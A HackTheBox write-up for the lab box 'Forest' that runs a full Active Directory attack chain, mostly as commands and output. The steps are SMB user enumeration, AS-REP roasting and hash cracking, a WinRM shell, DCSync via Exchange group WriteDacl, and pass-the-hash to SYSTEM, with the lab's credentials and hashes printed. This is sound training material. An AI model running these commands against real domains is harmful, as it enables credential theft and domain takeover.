Forst from HackTheBox is a Windows box, in which we first enumerate users via SMB and then use ASREP Roasting to get AD credentials of a service account. After that, we can add that account to an Exchange group that allows the assignment of DCSync privileges in order to dump NTLM hashes.
Port Scanning
The open TCP ports indicate that we’re dealing with a domain controller for the htb.local
domain running Windows Server 2016:
PORT STATE SERVICE REASON VERSION
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-05-03 19:09:49Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc syn-ack Microsoft Windows RPC
49680/tcp open msrpc syn-ack Microsoft Windows RPC
49700/tcp open msrpc syn-ack Microsoft Windows RPC
49951/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2024-05-03T12:10:43-07:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32753/tcp): CLEAN (Couldn't connect)
| Check 2 (port 39765/tcp): CLEAN (Couldn't connect)
| Check 3 (port 44587/udp): CLEAN (Timeout)
| Check 4 (port 23138/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 2h27m34s, deviation: 4h02m31s, median: 7m33s
| smb2-time:
| date: 2024-05-03T19:10:42
|_ start_date: 2024-05-02T11:51:19
Domain User Enumeration
We can use Crackmapexec to anonymously get a list of users:
$ crackmapexec smb 10.129.214.219 -u '' -p '' --users
SMB 10.129.207.218 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.129.207.218 445 FOREST [-] Error enumerating domain users using dc ip 10.129.207.218: NTLM needs domain\username and a password
SMB 10.129.207.218 445 FOREST [*] Trying with SAMRPC protocol
SMB 10.129.207.218 445 FOREST [+] Enumerated domain user(s)
SMB 10.129.207.218 445 FOREST htb.local\Administrator Built-in account for administering the computer/domain
SMB 10.129.207.218 445 FOREST htb.local\Guest Built-in account for guest access to the computer/domain
SMB 10.129.207.218 445 FOREST htb.local\krbtgt Key Distribution Center Service Account
SMB 10.129.207.218 445 FOREST htb.local\DefaultAccount A user account managed by the system.
SMB 10.129.207.218 445 FOREST htb.local\$331000-VK4ADACQNUCA
SMB 10.129.207.218 445 FOREST htb.local\SM_2c8eef0a09b545acb
SMB 10.129.207.218 445 FOREST htb.local\SM_ca8c2ed5bdab4dc9b
SMB 10.129.207.218 445 FOREST htb.local\SM_75a538d3025e4db9a
SMB 10.129.207.218 445 FOREST htb.local\SM_681f53d4942840e18
SMB 10.129.207.218 445 FOREST htb.local\SM_1b41c9286325456bb
SMB 10.129.207.218 445 FOREST htb.local\SM_9b69f1b9d2cc45549
SMB 10.129.207.218 445 FOREST htb.local\SM_7c96b981967141ebb
SMB 10.129.207.218 445 FOREST htb.local\SM_c75ee099d0a64c91b
SMB 10.129.207.218 445 FOREST htb.local\SM_1ffab36a2f5f479cb
SMB 10.129.207.218 445 FOREST htb.local\HealthMailboxc3d7722
SMB 10.129.207.218 445 FOREST htb.local\HealthMailboxfc9daad
SMB 10.129.207.218 445 FOREST htb.local\HealthMailboxc0a90c9
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox670628e
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox968e74d
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox6ded678
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox83d6781
SMB 10.129.207.218 445 FOREST htb.local\HealthMailboxfd87238
SMB 10.129.207.218 445 FOREST htb.local\HealthMailboxb01ac64
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox7108a4e
SMB 10.129.207.218 445 FOREST htb.local\HealthMailbox0659cc1
SMB 10.129.207.218 445 FOREST htb.local\sebastien
SMB 10.129.207.218 445 FOREST htb.local\lucinda
SMB 10.129.207.218 445 FOREST htb.local\svc-alfresco
SMB 10.129.207.218 445 FOREST htb.local\andy
SMB 10.129.207.218 445 FOREST htb.local\mark
SMB 10.129.207.218 445 FOREST htb.local\santi
Using rpcclient we can also enumerate the the groups they belong to:
$ rpcclient -U '' -N 10.129.214.219
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> queryusergroups 0x479
group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47a
group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47b
group rid:[0x201] attr:[0x7]
group rid:[0x47c] attr:[0x7]
rpcclient $> queryusergroups 0x47e
group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47f
group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x480
group rid:[0x201] attr:[0x7]
rpcclient $> querygroup 0x201
Group Name: Domain Users
Description: All domain users
Group Attribute:7
Num Members:30
rpcclient $> querygroup 0x47c
Group Name: Service Accounts
Description:
Group Attribute:7
Num Members:1
ASREP Roasting
Now that we have the names of some users, we try to perform an ASREP Roast, which will try to get crackable hashes of users that have Kerberos pre-authentication disabled.
First, we create a file named users
with the usernames we are interested in:
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi
The impacket’s GetNPUsers
script can then be used to query the hashes:
$ impacket-GetNPUsers htb.local/ -dc-ip 10.129.214.219 -usersfile users -outputfile hashes.htb.local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:37a5852121b1cd2858db3d832a7b61e5$d2ad713279e8c74c6be647041ec90095bb25d8583b8dec8b4b2a445af2faab62f1ee5f5b1dfe14dce0583f3ba288ec24a80380c5f1302bdf055468a8419210d65a145f3f4522e399a0697f2a982e2e35fa4f7bb1967ce3342107c1d5f8cac06afa13b26f76f90709ffc604b695fc7cf8ba222f8eb1cc4dfdb15eecbd8be11a6bb775c6fe3484fa1e433f295fb653727407fb988e54010b87cb3b09a66195992be4e72854ce097ffd125ca8e9b2ce808f375d72b01a0d5ae7fea46273acced7154a51d6bd85cb77b1229b78e1f3d1552c064d5e71c11546b5dfa04b12149ed2f96d2a800eee7b
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
Finally, we use john to crack the hash of svc-alfresco
:
$ john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt hashes.htb.local
[...SNIPPED...]
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
[...SNIPPED...]
Port 5985 is open, so we can use winrm to get a shell on the target and can read out the user flag:
$ evil-winrm -i 10.129.214.219 -u svc-alfresco -p s3rvice
[...SNIPPED...]
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
8af[...SNIPPED...]
[...SNIPPED...]
Bloodhound
We use bloodhound to further enumerate the Active Directory. First, we transfer and run the SharpHound.ps1
collector on the target:
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> . .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-Bloodhound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Documents
We start neo4j and bloodhound, transfer the collected ZIP file back from the target and upload it to bloodhound:
$ sudo neo4j console
$ bloodhound
We want to find the path from our pwned account svc-alfresco to domain admin, so we click on the Pathfinding icon and select SVC-ALFRESCO@HTB.LOCAL
as start and DOMAIN ADMINS@HTB.LOCAL
as target node. This will show us
Shadow Credentials
Both upper paths are about the msDS-KeyCredentialLink
and may be exploited using pyWhisker. I added the user svc-alfresco
to the Enterprise Key Admins
group and tried to create shadow credentials on FOREST$
using pywhisker. However, trying to use gettgtpkinit.py
to request a TGT lead to an KDC_ERR_PADATA_TYPE_NOSUPP error, which according to pyWhisker is due to an unmet pre-requisite, that the DC needs to have ots own certificate and keys. The commands I used are:
# Add svc-alfresco to Enterprise Key Admins
*Evil-WinRM* PS pi:\> Add-DomainGroupMember -Identity 'Enterprise Key Admins' -Members 'svc-alfresco'
*Evil-WinRM* PS pi:\> Get-DomainGroupMember -Identity 'Enterprise Key Admins'
# try to get a TGT
$ python3 pywhisker.py --dc-ip 10.129.214.219 -d "htb.local" -u "svc-alfresco" -p "s3rvice" --target "FOREST$" --action "add"
[*] Searching for the target account
[*] Target user found: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 2843a645-182d-5a69-1635-fbb30428953e
[*] Updating the msDS-KeyCredentialLink attribute of FOREST$
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: gRvsBmH3.pfx
[*] Must be used with password: xO9yLsMmt2Meowf66fTG
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
$ python gettgtpkinit.py -cert-pfx ../pywhisker/gRvsBmH3.pfx -pfx-pass xO9yLsMmt2Meowf66fTG -dc-ip 10.129.214.219 htb.local/forest$ ccache
2024-05-13 13:30:42,687 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-05-13 13:30:42,697 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
[...SNIPPED...]
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"
More on this shadow credentials attack can be found in the writeup of HTB Outdated by 0xdf here.
DCSync Attack
Following the below path, we’ll see that the Exchange Windows Permissions
group has WriteDacl
on the domain. To abuse this, we may grant ourselves DCSync privileges to dump NTLM hashes.
First, we add the svc-alfresco
account to the Exchange Windows Permissions
group (using PowerView):
*Evil-WinRM* PS pi:\> Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'
*Evil-WinRM* PS pi:\> Get-DomainGroupMember -Identity 'Exchange Windows Permissions'
Using Powerview, we can give svc-alfresco
the DCsync privileges:
PS C:\> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)
PS C:\> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync
Now we can abuse these replication priviliges to dump hashes:
$ impacket-secretsdump svc-alfresco:s3rvice@10.129.214.219 -outputfile dcsync_hashes
[...SNIPPED...]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[...SNIPPED...]
We can pass the hash to get a SYSTEM shell and grab the root flag:
$ impacket-psexec htb.local/administrator@10.129.214.219 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
[...SNIPPED...]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
d78b[...SNIPPED...]
Cracking the hashes will also give as the password of the santi
user:
$ hashcat -m 1000 -a 0 dcsync_hashes.ntds /usr/share/wordlists/rockyou.txt
[...SNIPPED...]
483d4c70248510d8e0acb6066cd89072:plokmijnuhb
9248997e4ef68ca2bb47ae4e6f128668:s3rvice
[...SNIPPED...]
Aftermath
Interesting things I read in other writeups:
- Alfresco is an enterprise software that can be used for document management among others. It’s documentation states that Kerberos preauthentication needs to be disabled.
- The
Account Operators
group is a default AD group, whose members are allowed to create and modify users and add them to non-protected groups. - There is a script
C:\Users\Administrator\Documents\revert.ps1
which resets the password ofsvc-alfresco
and user privileges. That’s why we need to be fast in running the commands to modify the group membership and privileges ofsvc-alfresco
. Maybe, we should’ve created a new user to perform the DCSync attack.